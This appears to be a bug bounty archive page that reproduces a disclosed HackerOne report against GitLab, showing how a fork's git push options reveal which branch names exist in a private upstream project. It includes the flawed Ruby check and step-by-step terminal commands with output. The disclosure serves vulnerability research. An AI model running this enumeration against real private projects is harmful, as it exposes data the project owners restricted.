Skip to content
Info disclosure Disclosed report Beginner

Private project branches can be leaked through a fork

A user with a fork of a private project could use push options to test whether a branch name exists in the original project. The error message revealed branch existence, allowing enumeration of private branch names.

GitLab

Originally disclosed on GitLab

  • Fixed in 6 months
  • Disclosed after 6 months

HackerOne report #1710533 by shells3c on 2022-09-23, assigned to @dcouture:

Report | How To Reproduce

Report

Summary

If you have a fork of a private/restricted project, you can easily scan for its branch names via Push Options with that fork.

The problem is caused by app/services/merge_requests/push_options_handler_service.rb:67

Ruby
    if push_options[:target] && !target_project.repository.branch_exists?(push_options[:target])  
        errors << "Target branch #{target_project.full_path}:#{push_options[:target]} does not exist"  

It doesn't check if the user has the access to the project repository or not, therefore leaking the information unintentionally

Steps to reproduce
  1. Victim creates a project, say victim/project
  2. Attacker forks that project: attacker/project
  3. Victim makes that project private
  4. From the attacker's terminal:
Bash
$ git clone https://gitlab.instance/attacker/project.git  
Cloning into 'project'...  
remote: Enumerating objects: 52, done.  
remote: Total 52 (delta 0), reused 0 (delta 0), pack-reused 52  
Receiving objects: 100% (52/52), 5.50 KiB | 268.00 KiB/s, done.  
Resolving deltas: 100% (6/6), done.  
$ cd project  
$ echo a > foo; git add -A; git commit -m .  
...  
$ # Let's check if this-branch-does-not-exist exists or not  
$ git push -o merge_request.create -o merge_request.target=this-branch-does-not-exist  
Username for 'https://gitlab.instance': attacker  
Password for 'https://[email protected]':  
Enumerating objects: 3, done.  
Counting objects: 100% (3/3), done.  
Delta compression using up to 8 threads  
Compressing objects: 100% (2/2), done.  
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.  
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0  
remote:  
remote: ========================================================================  
remote:  
remote:              WARNINGS: Error encountered with push options  
remote:                          'merge_request.create'  
remote:     'merge_request.target=this-branch-does-not-exist': Target branch  
remote:    victim/project:this-branch-does-not-exist does not exist  
remote:  
remote: ========================================================================  
remote:  
To https://gitlab.instance/attacker/project.git  
   ...  
$ #The branch does not exist on victim/project, let's check if this-branch-exists exists or not  
$ echo b > foo; git add -A; git commit -m .  
...  
$ git push -o merge_request.create -o merge_request.target=this-branch-exists  
Username for 'https://gitlab.instance': attacker  
Password for 'https://[email protected]':  
Enumerating objects: 3, done.  
Counting objects: 100% (3/3), done.  
Delta compression using up to 8 threads  
Compressing objects: 100% (2/2), done.  
Writing objects: 100% (2/2), 345 bytes | 345.00 KiB/s, done.  
Total 2 (delta 1), reused 0 (delta 0), pack-reused 0  
To https://gitlab.instance/attacker/project.git  
   ...  
$ #No error -> the branch exists  
Output of checks

This bug happens on GitLab.com

Impact

Ability to enumerate branches of any private or restricted project if you have access to at least a fork

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The push options handler checked branch existence in the target project without verifying the user's access to that project.

What the attacker needed

Attacker has a fork of the private project; victim's project is private or restricted

How it was found

  1. Victim creates a project and the attacker forks it.
  2. Victim makes the project private.
  3. Attacker clones their fork and makes a commit.
  4. Attacker pushes with merge request push options targeting a non-existent branch and sees an error.
  5. Attacker pushes targeting a branch that exists and sees no error, confirming the branch exists.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you fork a project, you get your own copy. The original project can be private, so you shouldn't see its branches. But when you try to create a merge request from your fork and name a target branch, the system checks if that branch exists in the original project and tells you if it doesn't. By trying different branch names, you can learn which ones exist, even though the project is private.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.